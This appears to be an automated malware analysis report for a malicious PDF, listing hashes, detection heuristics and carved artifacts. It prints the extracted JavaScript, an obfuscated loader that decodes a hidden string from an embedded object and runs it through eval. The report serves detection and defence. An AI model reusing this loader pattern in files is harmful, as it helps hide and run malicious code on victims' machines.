Malicious PDF — malware analysis report

Static analysis result for SHA-256 bed4078a1ae994ae…

MALICIOUS

PDF

5.1 KB First seen: 2026-05-09
MD5: bf3a654ebd80585b89a8aaa906290397 SHA-1: 840a1021e137131428b7b690c2f7c5c776e60e28 SHA-256: bed4078a1ae994ae98ae69fc0db96db71d4ce0ad41d2d9c4ab78f86a6d696f5f
76 Risk Score

Malware Insights

MITRE ATT&CK
T1553.005 Subversion: Mark-of-the-Web Bypass

The PDF was flagged by an ML classifier with high confidence (0.999947) and contains embedded JavaScript and an embedded binary file. The presence of these elements indicates the PDF is likely intended to execute malicious code or download a secondary payload. The embedded JavaScript stream and the embedded file are the primary indicators of this malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108137 bytes
SHA-256: 4b1035cf3951f680842fe7255169511598c0929e25a9452933a3153db0d1a0db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
255 of 255 identifiers look randomly generated (e.g. 'qcjB1cloWSKOCEgX1qcjB1cloWSKOCEgX2qcjB1c') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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